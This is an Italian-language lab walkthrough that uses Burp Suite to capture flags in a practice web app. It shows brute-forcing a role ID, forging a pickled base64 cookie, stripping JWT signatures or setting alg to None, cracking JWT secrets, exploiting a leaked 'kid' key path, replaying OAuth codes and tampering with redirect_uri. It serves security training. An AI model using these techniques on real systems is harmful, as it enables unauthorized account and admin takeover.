Quindi aggiungo l’operatore di conversione %s per iterare fra le varie pagine (endpoint enumeration):

In questo caso però ottengo un risultato diverso dai precedenti, intanto un codice di stato 302. Si tratta di un codice status HTTP della pagina web che indica lo spostamento temporaneo della risorsa. Come tutti gli status code 3XX si riferisce a un cambiamento di indirizzo della pagina. Ma mentre il redirect 301 si riferisce a un reindirizzamento permanente – la pagina non esiste più e sposto su un nuovo URL – con la condizione HTTP 302 c’è un cambio momentaneo. Che presuppone un ritorno alla condizione precedente. Possiamo dire che un reindirizzamento 302 è una modifica temporanea che porta gli utenti verso una nuova risorsa per un periodo limitato, fino a quando il reindirizzamento non viene rimosso del tutto.Infatti, come indicato dai “Location”, il reindirizzamento è verso “/m3/v2/”, ovvero la pagina iniziale di login.

Provo a sfruttare questa caratteristica accedendo con le credenziali “hakin9/burpsuite” e una volta stabilita una sessione:

sostituisco “dashboard” con “admin” e ottengo:

… questo mi permette di sfruttare il “roleID”, quindi nvio la pagina al “Repeater”:

quindi “Send”:

Aggiungo dopo “admin?roleId= seguito dall’ID che si solito è un numero, per esempio “0” restituisce un “Invalid role ID”:

Invio il tutto all’Intruder:

Quindi programmo un attacco a brurteforce al roleId e filtro escludendo le risposte http con status 401:

ed ecco la risposta:

Ora possio chiedere la relativa sessione:

e copiarla nella pagina di admin, oppure inserire direttamente il roleId individuato:

e trovare il flag.

Insecure Deserialization

La deserializzazione non sicura si verifica quando i dati controllabili dall’utente vengono “deserializzati” da un sito web. Ciò consente potenzialmente a un utente malintenzionato di manipolare oggetti serializzati per passare dati dannosi nel codice dell’applicazione. È persino possibile sostituire un oggetto serializzato con un oggetto di una classe completamente diversa.

Accedo con le classiche credenziali e noto che oltre al cookie di sessione ho quello relativo all’user:

Se ricarico la pagina, trovo quel cookie user anche nel “Request”:

Cerchiamo di capire cosa sono queste stringhe. Invio la pagina all’Intruder, quindi sostituisco l’endpoint “dashboard” con l’operatore di conversione %s al quale passare i valori della lista “endpoints” e filtro i risultati escludendo HTTP Status 404:

Ed ecco il risultato:

mando la stessa pagina al “Repeater”:

Se invio “Send” con endpoint “dashboard”, ovviamente la pagina funziona:

e funziona anche se sostituisco con “admin”, infatti la pagina mi restituisce un http status “UNAUTHORIZED”. Notiamo due cose, però: l’uso del linguaggio di programmazione Python e che il cookie user non è cambiato:

Perciò provo a intervenire su quel cookie utente. Noto che modificando ottengo un 500 INTERNAL SERVER ERROR a causa di una stringa in codifica base64 non valida:

È possibile manipolare le stringhe per operazioni di codifica e decodifica codificate direttamente in Burp Suite attraverso le funzioni chre troviamo nel tab “Decoder”:

Oppure usare la libreria “pickle” di Python per serializzare/deserializzare dato che che l’applicazione usa appunto Python:

decodifico il cookie user:

>>> pickle.loads(base64.b64decode(‘.......’))

infatti restituisce esattemante l’username:

{‘currente_user’: ‘hakin9’}

il risultato lo assegno al coockie:

>>> cookie = pickle.loads(base64.base64decode(‘.......’)) 

Quello che voglio ottenere è la codifica di un altro utente, ovvero “admin”  che possa garantire l’accesso, quindi ne assegno il nome a current_user:

>>> current_user = {‘current_user’: ‘admin’}

>>> base64.b64encode(pickle.dumps(current_user))

ed ecco “admin” codificato in base64:

b ‘....’ 

Quindi copio il valore tra gli apici e lo incollo sostituendo il precedente cookie user  e con “send” posso verificare che la risposta mi da un HTTP 200 OK status:

Invio a browser:

Incollo il link nella pagina di accesso:

E ottengo l’accesso come admin e trovo il flag.

Forging JWT

I token Web JSON (JSON Web Tokens o JWT) sono uno standard aperto (RFC 7519) per la creazione di token di accesso sicuri e compatti. Vengono ampiamente utilizzati per l’autenticazione e l’autorizzazione in applicazioni web e API.

Un token JWT è una stringa codificata che consiste di tre sezioni separate da punti: l’intestazione (header), il payload (contenuto) e la firma (signature). Ognuna di queste sezioni è codificata in Base64 e può essere facilmente decodificata per ottenere i dati contenuti all’interno del token.

L’intestazione contiene informazioni sull’algoritmo di firma utilizzato e il tipo di token. Il payload contiene le informazioni aggiuntive specifiche dell’applicazione, come l’identità dell’utente, i diritti di accesso o altre informazioni pertinenti. La firma viene utilizzata per verificare l’integrità del token e garantire che non sia stato manomesso.

Un aspetto importante dei token JWT è che sono stateless, ovvero tutte le informazioni necessarie per verificare l’autenticità e l’autorizzazione sono contenute nel token stesso. Questo consente ai server di evitare di dover memorizzare lo stato del token o di eseguire query al database per ogni richiesta.

I token JWT offrono diversi vantaggi, tra cui:

  • sicurezza: i token JWT possono essere firmati digitalmente utilizzando algoritmi crittografici, garantendo l’integrità e l’autenticità dei dati;
  • portabilità: i token JWT sono autocontenuti e possono essere trasportati facilmente come stringhe nei campi delle richieste HTTP o come dati in formato JSON;
  • scalabilità: i server possono verificare l’autenticità dei token in modo efficiente senza dover accedere a un database o a una memoria condivisa;
  • estensibilità: è possibile aggiungere campi personalizzati nel payload dei token per includere informazioni aggiuntive specifiche dell’applicazione;
  • interoperabilità: JWT è uno standard ampiamente adottato e supportato da numerosi linguaggi di programmazione e framework.

Tuttavia, è importante notare che i token JWT devono essere utilizzati correttamente e con precauzione. Alcuni aspetti da considerare includono la corretta gestione delle chiavi di firma, la scadenza dei token e l’uso di connessioni sicure per trasmettere i token.

In conclusione, i token JWT offrono un meccanismo flessibile e sicuro per l’autenticazione e l’autorizzazione nelle applicazioni web e API. Consentono l’implementazione di flussi di autenticazione come OAuth 2.0 e forniscono un modo efficiente per trasportare e verificare le informazioni di autenticazione e autorizzazione tra le parti coinvolte.

https://jwt.io/ consente di decodificare, verificare e generare JWT.

Prima di accedere con le consuete credenziali, verifichiamo se sono abilitate le estensioni JWT:

questo consentirà di vedere evidenziate le richieste che utilizzano tali token:

Alcuni siti web usano il JWT per l’autorizzazione:

Se nell’url della pagina sostituisco dashboard con admin ottengo come risultato “Unauthorized”:

Invio allora quest’ultima risposta al repeater e avendo l’estensione JWT abilitata, trovo il tab “JSON Web Token” disponibile:

dove trovo i dettagli del JWT:


Provo a cambiare lo “username” da hakin9 a admin, quindi send  e vediamo cosa succede:

Purtroppo restituisce un errore di “signature” perchè è fallita ovviamente la verifica della firma:

Provo a cancellare la firma:

e riusco a ottenere uno stato HTTP 200:

Quindi chiedo la sessione browser:

che una volta utilizzata mi darà accesso al flag.


Accedo con le consuete credenziali e sostituisco nell’url l’endpoint “dashboard” con “admin”, ma non ottengo l’accesso in quanto non autorizzato. Dall’HTTPhistory invio quest’ultima pagina al “Repeater” quindi apro la scheda “JSON Web Token”:

Cambio il valore di “username” da “hakin9” a “admin”, quindi “Send”, ma ottengo un errore sulla validità della “firma”:

Mi sposto nella scheda “Raw” e provo a eliminare la “firma” e ottengo un altro errore che mi dice che “Algorithm is not set to None”:

Torno alla scheda “JSON Web Token” e cambio il valore di “alg” da “HS256” a “None” ottenendo così un HTTP 200 status OK:

Quindi “Request in browser” > “In original session” e l’url così ottentuto lo incollo sl posto di quello della pagina web e ottengo il flag.

Cracking Keys

Accedo con le solite credenziali, quindi nell’url della pagina sostituisco dashboard con admin e ottengo come risposta “Unauthorized”.
Dal Raw del Request copio il JWT e lo uso con lo script python “jwt_tool.py” (dove -C sta per cracking e -d per indicare quale dizionario da utilizzare):

e ottengo “hidden” come valore di chiave corretto.

Utilizzando jwt.io creo la firma corretta: assegno “admin” a “username” e “hidden” al campo “secret”, quindi copio il JWT così ottenuto:

Torno su Burp Suite e invio la pagina con “admin” al Repeater, quindi sostituisco il JWT presente con quello appena calcolato e verifico con “send”:

Questa volta lo status HTTP è 200 Ok, per cui richiedo la sessione browser:

 quindi incollo url nel browser e ottengo l’accesso.


Effettuato come la solito il login, invio la pagina al Turbo Intruder, quindi sostituisco “dashboard” con l’operatore di conversione “%s” al quale passo la lista degli “endpoint” e filtro i risultati per ottenere solo lo stato HTTP 404:

Il risultato dello script restituisce l’endpoint “admin” e come errore lo stato HTTP 401 UNAUTHORIZED dovuto a “Invalid role for accessing the admin page”:

… quindi devo cambiare il ruolo per l’utente “admin”:

Per fare questo ho bisogno della chiave segreta necessaria per la “firma”, quindi utilizzo il “jwt_tool.py” per recuperarlo utilizzando il JWT dell’utente “hakin9” come input:

Copio il JWT e lo inserisco nel modulo di codifica del sito “jwt.io”:

Quindi cambio il valore di “username” e “role” entrambi in “admin” e inserisco la chiave segreta “123NotAParticularyGreatSecret!!!”:

Mando la pagina al “Repeater” e sostituisco il vecchio JWT con quello nuovo appena creato, poi “Send” e controllo di avere uno stato HTTP 200 OK:

Richiedo la sessione originale nel browser e la incollo nell’url ottenendo così l’accesso voluto.

Implementation Flaws

Accedo con le solite credenziali e sostituisco “dashboard” con “admin” e anche in questo caso risulta che non sono autorizzato. Invio la pagina con “admin” al Repeater e apro il tab “JWT Web Token”, qui posso notare un altro tag nell’header, ovvero il “kid”:

L’attestazione “kid”’ (ID chiave) è un’attestazione facoltativa in un JSON Web Token (JWT) che viene utilizzata per identificare la chiave usata per firmare il JWT. Lo scopo dell’attestazione “kid” è consentire ai destinatari del JWT di determinare quale chiave è stata utilizzata per firmare il token, in modo che possano cercare la chiave pubblica corrispondente e verificare la firma. Ciò è particolarmente utile quando sono in uso più chiavi, ad esempio quando si ruotano le chiavi o si utilizzano chiavi diverse per scopi diversi.

L’attestazione “kid” è inclusa nell’intestazione JWT e il suo valore è una stringa che identifica in modo univoco la chiave usata per firmare il token. Quando il destinatario di un JWT riceve il token, può utilizzare l’attestazione “kid” per cercare la chiave pubblica corrispondente alla chiave utilizzata per firmare il JWT e quindi utilizzare quella chiave pubblica per verificare la firma.

È importante notare che l’attestazione “kid” è facoltativa e non tutti i JWT la includeranno. Tuttavia, è consigliabile includerla quando possibile, in quanto può migliorare notevolmente la sicurezza e la facilità d’uso dei JWT nelle applicazioni.

Una possibile vulnerabilità relativa al “kid” è che a volte può indicare il percorso dove la chiave è memorizzata all’interno del server, infatti se copio il percorso e lo sostituisco ad “admin” nell’url, otteniamo la chiave che ha generato il token:

Copio l’intero JWT e lo incollo sul sito “jwt.io”, quindi modifico con “admin” lo “username” e nel campo “secret” inserisco il valore della chiave che ha generato il JWT:

La firma è stata verivicata, allora posso utilizzare il nuovo JWT così ottenuto al posto di quello presente nel “Raw” del “Repeater”, verifico con “send” e quindi richiedo le sessione browser: 

Utilizzando l’url così ottenuto guadagno l’accesso.

OAuth 2.0 and CSRF

OAuth (Open Authorization) è un protocollo di autorizzazione standardizzato che consente a un utente di concedere l’accesso a una risorsa protetta a un’applicazione di terze parti senza condividere le proprie credenziali di accesso.

In altre parole, OAuth consente a un utente di autorizzare un’applicazione di terze parti (ad esempio, un’applicazione mobile o un’applicazione web) ad accedere alle proprie informazioni senza dover fornire le proprie credenziali di accesso a questa applicazione. OAuth utilizza un token di accesso che viene concesso all’applicazione di terze parti dall’utente, con il quale l’applicazione può accedere alla risorsa protetta.

Questo protocollo di autorizzazione è ampiamente utilizzato per consentire l’accesso a servizi web e API, come i social network (ad esempio Facebook, Twitter, LinkedIn) e i servizi di archiviazione cloud (ad esempio Google Drive, Dropbox). OAuth viene utilizzato anche per la federazione delle identità e per l’autenticazione unica, consentendo all’utente di utilizzare le proprie credenziali di accesso per accedere a più servizi, senza dover effettuare l’accesso separatamente per ciascun servizio.

OAuth è un protocollo aperto e standardizzato, il che significa che può essere utilizzato da qualsiasi sviluppatore per integrare i propri servizi con altri servizi esistenti.

Una volta caricata la pagina di login, notiamo nell’HTTPhistory due diversi host: “h9burpsuite” e “oauth2.h9burpsuite”, quest’ultimo relativo all’autenticazione mediante il protocollo “oauth” appunto:

Sono importanti nel “Raw” i valori relativi a “client_id”,  “response_type=code” e “scope” come visto in precedenza. 
Andata a buon fine l’autenticazione, veniamo reindirizzati alla pagina di “h9burpsuite”, con il nuovo “code” ovvero il token d’accesso:

Infatti se torno alla pagina principale e clicco sul login di ottengo l’accesso senza immettere nuovamente le credenziali.

Vediamo come poter sfruttare l’oauth. Dapprima effettuo il logout, quindi di nuovo login e inserisco le credenziali, ma prima di inviare mi sposto su Burp Suite e dal tab “Intercept” abilito l’ “Intercept on”:

solo a questo punto completo il login inviando le credenziali, vedreò popolarsi la pagina “Raw” dell’ “Intercept”:

A questo punto, sempre nella pagina dell’ “Intercept”, cliccho su “Forward” e interagisco con la pagina web del login, ripeterò le operazioni alcune volte finchè non otterrò una risposta con “code=…”. Quindi tasto destro e copiamo l’URL.:

Ora non andiamo più avanti col “Forward” perchè avrei un reindirizzamento alla pagina precedente, ovvero quella che richiede l’accettazione della mail, ma clicco su “Drop” e interrompo l’ “Intercept”:

Posto su off l’ “Intercept”, mio sposto sulla pagina web e nell’URL cancello tutto quello che riguarda il precedente oauth:

Nella nuova pagina di login, inserisco l’URL precedentemente copiata e ottengo così l’accesso.


Caricata la pagina , dall’http history di Burp Suite, invio l’URL al Turbo Intruder

Usando lo script, itero fra gli endpoints, filtrando i risultati affinché vengano escluse le pagine con http STATUS 404:

Ottengo come risultato positivo l’endpoint “.well-known”:

Invio al Repeater e verifico con “send” ottengo uno stato HTTP 200 OK, ma nessun’altra informazione:

Mediante Turbo Intruder, allora, ripeto nuovamente la stessa operazione sull’endpoint appena trovato:

Ed ottengo un nuovo endpoint positivo:

Nel Repeater verifico con “send” e questa volta ho una risposta positiva ma con maggiori informazioni:

Su quanto ottenuto effettuo “Request in Browser” -> “In original session” e copio l’url:

E lo incollo nel mio browser ottenendo così il flag.

Redirect URI

Nell’ HTTP history è possibile notare il link del “redirect_uri”:

Invio dunque al “Repeater” così da modificare il valore del “redirect_uri” all’interno del “Decoded from”:

Provo a decodificare “google.com”:

Applico le modifiche “Apply changes” e invio con “Send”, il test non ha funzionato perchè viene segnalato un errore di “Invalid URI”:

Questo accade perché il redirect si aspetta “h9burpsuite:4499” all’interno dell’URI. Un modo per farlo è quello di “ancorare” il dominio richiesto all’interno dell’URI mediante il simbolo del “cancelletto#:

Quindi applico la modifica, “Send” e questa volta ottengo uno status HTTP OK:

Copio l’URI:

Quindi su Proxy-> Intercept, ma senza attivarlo, carico nuovamente la pagina per il login e solo ora, prima di fare login, attivo l’Intercept. Quindi sostituisco il valore dell’URI presente nell’Intercept con quello copiato in precedenza:

Quindi “Forward” e fermo l’Intercept, torno sulla pagina di login, inserisco la credenziali, ma questa volta vengo reindirizzato sulla pagina di google:

Note su OpenID Connect + SAML

OpenID Connect (OIDC) è un protocollo di autenticazione basato su OAuth 2.0, che permette di ottenere informazioni di autenticazione e identità di un utente. OIDC è stato sviluppato per fornire un’alternativa più sicura e interoperabile rispetto all’originale protocollo OpenID.

OIDC consente a un’applicazione web di autenticare l’utente tramite il flusso di OAuth 2.0 e di ricevere un ID Token che contiene informazioni sull’utente, come l’ID dell’utente e il nome. L’ID Token è firmato digitalmente e può essere verificato dall’applicazione per garantire che sia stato emesso da un’autorità di sicurezza attendibile.

Inoltre, OIDC fornisce un endpoint denominato UserInfo che consente alle applicazioni di richiedere informazioni sull’utente come ad esempio l’indirizzo email o la data di nascita.

OIDC è diventato un protocollo popolare per l’autenticazione su Internet ed è stato adottato da molte aziende, come Google, Microsoft, Amazon e molti altri, per consentire l’autenticazione degli utenti sui loro servizi e applicazioni web.

SAML (Security Assertion Markup Language) è un protocollo standard per lo scambio di informazioni di autenticazione e autorizzazione tra diverse applicazioni web. SAML è stato sviluppato per consentire l’accesso sicuro a risorse web attraverso le frontiere organizzative, come ad esempio tra fornitori di servizi e fornitori di identità.

SAML si basa su una struttura di messaggi basata su XML e utilizza la crittografia per garantire la sicurezza delle informazioni di autenticazione e autorizzazione durante la trasmissione. Il protocollo SAML prevede tre ruoli principali:

  • Fornitore di Identità (Identity Provider – IdP): il sistema che autentica l’utente e fornisce un assertion (asserzione) SAML contenente informazioni di autenticazione e autorizzazione;
  • Fornitore di Servizi (Service Provider – SP): il sistema che fornisce la risorsa protetta e che richiede l’autenticazione e l’autorizzazione tramite un assertion SAML;
  • Utente Finale: l’utente che accede alla risorsa protetta.

Il processo di autenticazione e autorizzazione con SAML prevede l’invio di un Assertion SAML dal Fornitore di Identità al Fornitore di Servizi per autorizzare l’accesso all’utente finale. L’Assertion SAML contiene informazioni sulle credenziali di autenticazione dell’utente, come l’ID dell’utente e le autorizzazioni.

SAML è stato adottato da molte organizzazioni come standard per l’autenticazione sicura e l’autorizzazione tra applicazioni web, in particolare in ambito Enterprise.